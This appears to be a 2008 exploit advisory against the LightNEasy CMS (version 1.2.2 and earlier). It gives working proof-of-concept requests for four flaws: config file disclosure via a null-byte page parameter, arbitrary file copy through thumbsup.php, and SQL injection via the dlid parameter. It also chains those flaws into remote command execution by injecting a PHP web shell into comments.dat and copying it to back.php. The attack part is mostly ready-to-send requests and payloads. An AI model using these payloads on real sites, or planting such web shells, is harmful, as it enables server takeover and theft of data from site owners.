# Author:  __GiReX__
# mySite:  girex.altervista.org
# Date:    14/04/08

# CMS:    LightNEasy SQLite / no database <= 1.2.2
# Site:    lightneasy.org

# Advisory:  Multiple Remote Vulnerabilities

# Need:    magic_quotes_gpc = Off
    magic_quotes_gpc = On / Off for SQL Injections

######################################################################################

# Bug 1:   Remote File Disclosure
# Affected:  SQLite / no database

# Get the config.php into HTML (like a comment)
# Note config.php not exists in SQLite version

# PoC:    [host]/[path]/LightNEasy.php?page=config.php%00

######################################################################################

# Bug 2:  Arbitrary file copy and rename / Thumsup v1.12
# Affected:  SQLite / no database

# This vuln is present in this extern script by Gerd Tentler that is included by default
# in LightNEasy

# Vuln Code:  LightNEasy/thumbsup.php

34.   if(isset($_REQUEST['image'])) $image = $_REQUEST['image'];
37.   if(isset($_REQUEST['cache_dir'])) $cache_dir = $_REQUEST['cache_dir'];

407.  if($image) {
        if($fp = @fopen($image, 'rb')) {    <==
          $size = filesize($image);      <==  Unfortunally filesize does not accept remote files
          $data = fread($fp, $size);        <==
         fclose($fp);
 
        $original = "$cache_dir/img_" . md5($image . $size);  <==
       }
        else $error = 'Could not open';
414.  }

451.  if(!file_exists($original)) {
            if($fp = @fopen($original, 'wb')) {       <==
              fwrite($fp, $data, strlen($data));      <==
              fclose($fp);
455.     }

# Note config.php not exists in SQLite version

# PoC:    [host]/[path]/LightNEasy/thumbsup.php?image=../data/config.php&cache_dir=config.txt%00

# And then get file disclosure with:

# PoC:    [host]/[path]/LightNEasy/config.txt

######################################################################################

# Bug 3:  Getting a Remote Command Execution
# Affected:  SQLite / no database

# First of all inject PHP Code into comments.dat from $_POST['newsid'] that is not sanizated

# Vuln code:  LightNEasy/runtime.php

32.    if($_POST['submit']=="sendcomment") {
...
42.    if(!$fp=fopen("data/comments.dat","a")) die ($langmessage[142]);
43.    fwrite($fp,$_POST['newsid']."|".encode($_POST['commentname'])."|".    <==
44.       encode($_POST['commentemail'])."|".time()."|".encode(stripslashes($_POST['commentmessage']))."||");


# PoC:  If admin has been created some news and page news exists (it can has a different name)
  
  POST [host]/[path]/LightNEasy.php?page=news
  Content-Type: application/x-www-form-urlencoded

  commentname=1&commentemail=1&commentmessage=1&secCode=[CAPTCHA CODE]
  &submit=sendcomment&newsid=<?php passthru($_GET['cmd']); ?>/*


# Then create a file back.php with the trick of Bug 2

# PoC:    [host]/[path]/LightNEasy/thumbsup.php?image=../data/comments.dat&cache_dir=../back.php%00

# Finally send remote commands to back.php

# PoC:    [host]/[path]/back.php?cmd=ls

######################################################################################

# Bug 4:  Multiple Remote SQL Injections
# Affected:  SQLite

# Works with magic_quotes_gpc = On / Off


# Vuln Code:  /LightNEasy/lightneasy.php

237.   if(isset($_GET['dlid'])) {
     $result=dbquery("SELECT * FROM downloads WHERE reg=".$_GET['dlid']);


# PoC:    [host]/[path]/index.php?dlid=-1 OR 1

# You can find others more SQL Injections by yourself

######################################################################################